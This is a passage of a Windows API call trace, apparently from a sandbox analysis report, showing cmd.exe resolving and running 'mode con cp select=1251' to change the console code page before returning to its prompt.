returned 0x20e9d8f0000 [0164.197] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1a) returned 0x20e9d8f6330 [0164.197] GetProcessHeap () returned 0x20e9d8f0000 [0164.197] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x38) returned 0x20e9d8f6500 [0164.198] GetConsoleOutputCP () returned 0x1b5 [0164.548] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0164.548] SetThreadUILanguage (LangId=0x0) returned 0x409 [0165.028] GetConsoleTitleW (in: lpConsoleTitle=0x2a3676f440, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0166.295] malloc (_Size=0xffce) returned 0x20e9dae0840 [0166.295] ??_V@YAXPEAX@Z () returned 0x20e9dae0840 [0166.295] malloc (_Size=0xffce) returned 0x20e9daf0820 [0166.296] ??_V@YAXPEAX@Z () returned 0x20e9daf0820 [0166.297] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0166.297] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0166.297] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0166.297] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0166.297] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0166.297] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0166.297] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0166.297] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0166.297] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0166.297] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0166.297] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0166.297] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0166.297] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0166.297] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0166.297] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0166.297] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0166.297] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0166.297] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0166.297] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0166.297] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0166.297] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0166.297] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0166.297] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0166.298] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0166.298] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0166.298] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0166.298] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0166.298] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0166.298] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0166.298] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0166.298] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0166.298] _wcsicmp (_String1="mode", _String2="START") returned -6 [0166.298] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0166.298] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0166.298] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0166.298] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0166.298] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0166.298] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0166.298] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0166.298] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0166.298] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0166.298] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0166.298] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0166.298] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0166.298] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0166.298] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0166.298] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0166.298] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0166.298] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0166.298] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0166.298] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0166.298] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0166.299] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0166.299] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0166.299] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0166.299] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0166.299] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0166.299] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0166.299] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0166.299] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0166.299] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0166.299] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0166.299] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0166.299] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0166.299] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0166.299] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0166.299] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0166.299] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0166.299] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0166.299] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0166.299] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0166.299] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0166.299] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0166.299] _wcsicmp (_String1="mode", _String2="START") returned -6 [0166.299] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0166.299] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0166.299] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0166.299] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0166.299] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0166.299] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0166.299] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0166.300] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0166.300] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0166.300] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0166.300] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0166.300] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0166.300] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0166.300] ??_V@YAXPEAX@Z () returned 0x1 [0166.300] GetProcessHeap () returned 0x20e9d8f0000 [0166.300] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xffde) returned 0x20e9d8f8e90 [0166.301] GetProcessHeap () returned 0x20e9d8f0000 [0166.301] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x42) returned 0x20e9d8f7880 [0166.301] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0166.301] malloc (_Size=0xffce) returned 0x20e9daf0820 [0166.301] ??_V@YAXPEAX@Z () returned 0x20e9daf0820 [0166.302] GetProcessHeap () returned 0x20e9d8f0000 [0166.302] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1ffac) returned 0x20e9d908e80 [0166.304] SetErrorMode (uMode=0x0) returned 0x0 [0166.304] SetErrorMode (uMode=0x1) returned 0x0 [0166.304] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20e9d908e90, lpFilePart=0x2a3676ecc0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x2a3676ecc0*="system32") returned 0x13 [0166.305] SetErrorMode (uMode=0x0) returned 0x1 [0166.305] GetProcessHeap () returned 0x20e9d8f0000 [0166.305] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d908e80, Size=0x42) returned 0x20e9d908e80 [0166.305] GetProcessHeap () returned 0x20e9d8f0000 [0166.305] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d908e80) returned 0x42 [0166.305] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0166.305] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0166.305] GetProcessHeap () returned 0x20e9d8f0000 [0166.305] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1b6) returned 0x20e9d8f78d0 [0166.305] GetProcessHeap () returned 0x20e9d8f0000 [0166.305] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x35c) returned 0x20e9d908ee0 [0166.316] GetProcessHeap () returned 0x20e9d8f0000 [0166.316] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d908ee0, Size=0x1b8) returned 0x20e9d908ee0 [0166.316] GetProcessHeap () returned 0x20e9d8f0000 [0166.316] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d908ee0) returned 0x1b8 [0166.316] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0166.316] GetProcessHeap () returned 0x20e9d8f0000 [0166.317] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xe8) returned 0x20e9d9090b0 [0166.318] GetProcessHeap () returned 0x20e9d8f0000 [0166.318] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d9090b0, Size=0x7e) returned 0x20e9d9090b0 [0166.318] GetProcessHeap () returned 0x20e9d8f0000 [0166.318] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d9090b0) returned 0x7e [0166.319] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0166.319] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2a3676ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2a3676ea30) returned 0x20e9d909140 [0166.320] GetProcessHeap () returned 0x20e9d8f0000 [0166.320] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, Size=0x28) returned 0x20e9d8f6540 [0166.320] FindClose (in: hFindFile=0x20e9d909140 | out: hFindFile=0x20e9d909140) returned 1 [0166.320] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x2a3676ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2a3676ea30) returned 0x20e9d909140 [0166.320] GetProcessHeap () returned 0x20e9d8f0000 [0166.320] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d8f6540, Size=0x8) returned 0x20e9d8f6540 [0166.320] FindClose (in: hFindFile=0x20e9d909140 | out: hFindFile=0x20e9d909140) returned 1 [0166.320] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0166.320] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0166.320] ??_V@YAXPEAX@Z () returned 0x1 [0166.320] GetConsoleTitleW (in: lpConsoleTitle=0x2a3676efb0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0166.929] GetProcessHeap () returned 0x20e9d8f0000 [0166.929] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x21c) returned 0x20e9d909140 [0166.929] GetConsoleTitleW (in: lpConsoleTitle=0x20e9d909150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0167.371] GetProcessHeap () returned 0x20e9d8f0000 [0167.372] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d909140, Size=0x8c) returned 0x20e9d909140 [0167.372] GetProcessHeap () returned 0x20e9d8f0000 [0167.372] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d909140) returned 0x8c [0167.372] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0167.711] GetProcessHeap () returned 0x20e9d8f0000 [0167.711] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d909140) returned 1 [0167.711] InitializeProcThreadAttributeList (in: lpAttributeList=0x2a3676eed0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2a3676edc0 | out: lpAttributeList=0x2a3676eed0, lpSize=0x2a3676edc0) returned 1 [0167.711] UpdateProcThreadAttribute (in: lpAttributeList=0x2a3676eed0, dwFlags=0x0, Attribute=0x60001, lpValue=0x2a3676edac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2a3676eed0, lpPreviousValue=0x0) returned 1 [0167.711] GetStartupInfoW (in: lpStartupInfo=0x2a3676ee60 | out: lpStartupInfo=0x2a3676ee60*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0167.711] GetProcessHeap () returned 0x20e9d8f0000 [0167.711] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x20) returned 0x20e9d8f7610 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0167.711] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0167.712] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0167.712] GetProcessHeap () returned 0x20e9d8f0000 [0167.712] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f7610) returned 1 [0167.712] GetProcessHeap () returned 0x20e9d8f0000 [0167.712] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x12) returned 0x20e9d8f7610 [0167.712] _get_osfhandle (_FileHandle=1) returned 0x254 [0167.712] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0167.712] _get_osfhandle (_FileHandle=0) returned 0x248 [0167.713] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0167.713] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x2a3676edf0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2a3676edc8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x2a3676edc8*(hProcess=0x98, hThread=0x94, dwProcessId=0xe94, dwThreadId=0xe98)) returned 1 [0167.732] CloseHandle (hObject=0x94) returned 1 [0167.732] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0167.732] GetProcessHeap () returned 0x20e9d8f0000 [0167.732] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f6570) returned 1 [0167.732] GetEnvironmentStringsW () returned 0x20e9d8f6570* [0167.732] GetProcessHeap () returned 0x20e9d8f0000 [0167.732] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xafe) returned 0x20e9d909540 [0167.732] FreeEnvironmentStringsA (penv="=") returned 1 [0167.732] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7fff679e0000 [0167.732] GetProcAddress (hModule=0x7fff679e0000, lpProcName="NtQueryInformationProcess") returned 0x7fff67a856b0 [0167.732] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x2a3676e2c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2a3676e2c8, ReturnLength=0x0) returned 0x0 [0167.732] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xe7a6bd3000, lpBuffer=0x2a3676e300, nSize=0x7a0, lpNumberOfBytesRead=0x2a3676e2c0 | out: lpBuffer=0x2a3676e300*, lpNumberOfBytesRead=0x2a3676e2c0*=0x7a0) returned 1 [0167.734] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0170.820] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x2a3676ed48 | out: lpExitCode=0x2a3676ed48*=0x0) returned 1 [0170.820] CloseHandle (hObject=0x98) returned 1 [0170.821] _vsnwprintf (in: _Buffer=0x2a3676ef18, _BufferCount=0x13, _Format="%08X", _ArgList=0x2a3676ed58 | out: _Buffer="00000000") returned 8 [0170.821] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0170.821] GetProcessHeap () returned 0x20e9d8f0000 [0170.821] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d909540) returned 1 [0170.821] GetEnvironmentStringsW () returned 0x20e9d90ab80* [0170.821] GetProcessHeap () returned 0x20e9d8f0000 [0170.821] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb24) returned 0x20e9d90b6b0 [0170.821] FreeEnvironmentStringsA (penv="=") returned 1 [0170.821] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0170.821] GetProcessHeap () returned 0x20e9d8f0000 [0170.821] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d90b6b0) returned 1 [0170.822] GetEnvironmentStringsW () returned 0x20e9d90ab80* [0170.822] GetProcessHeap () returned 0x20e9d8f0000 [0170.822] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb24) returned 0x20e9d90b6b0 [0170.822] FreeEnvironmentStringsA (penv="=") returned 1 [0170.822] GetProcessHeap () returned 0x20e9d8f0000 [0170.822] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f7610) returned 1 [0170.822] DeleteProcThreadAttributeList (in: lpAttributeList=0x2a3676eed0 | out: lpAttributeList=0x2a3676eed0) [0170.822] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0171.361] ??_V@YAXPEAX@Z () returned 0x1 [0171.361] _get_osfhandle (_FileHandle=1) returned 0x254 [0171.361] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0171.361] _get_osfhandle (_FileHandle=1) returned 0x254 [0171.361] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75f4efc08 | out: lpMode=0x7ff75f4efc08) returned 0 [0171.361] _get_osfhandle (_FileHandle=0) returned 0x248 [0171.361] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75f4efc0c | out: lpMode=0x7ff75f4efc0c) returned 0 [0171.362] GetConsoleOutputCP () returned 0x4e3 [0171.608] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0171.608] SetThreadUILanguage (LangId=0x0) returned 0x409 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d9090b0) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d908ee0) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f78d0) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d908e80) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f7880) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8e90) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f6500) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f6330) returned 1 [0172.137] GetProcessHeap () returned 0x20e9d8f0000 [0172.137] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f77c0) returned 1 [0172.138] _vsnwprintf (in: _Buffer=0x7ff75f4f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2a3676f2f8 | out: _Buffer="\r\n") returned 2 [0172.138] _get_osfhandle (_FileHandle=1) returned 0x254 [0172.138] GetFileType (hFile=0x254) returned 0x3 [0172.138] _get_osfhandle (_FileHandle=1) returned 0x254 [0172.138] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0172.138] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2a3676f2c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f2c8*=0x2, lpOverlapped=0x0) returned 1 [0172.138] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0172.138] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20e9dac0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0172.138] _vsnwprintf (in: _Buffer=0x20e9dad0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x2a3676f308 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0172.138] _vsnwprintf (in: _Buffer=0x20e9dad0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x2a3676f308 | out: _Buffer=">") returned 1 [0172.138] _get_osfhandle (_FileHandle=1) returned 0x254 [0172.138] GetFileType (hFile=0x254) returned 0x3 [0172.138] _get_osfhandle (_FileHandle=1) returned 0x254 [0172.138] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0172.138] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2a3676f2f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f2f8*=0x14, lpOverlapped=0x0) returned 1 [0172.139] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.139] GetFileType (hFile=0x248) returned 0x3 [0172.139] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.139] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.139] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, 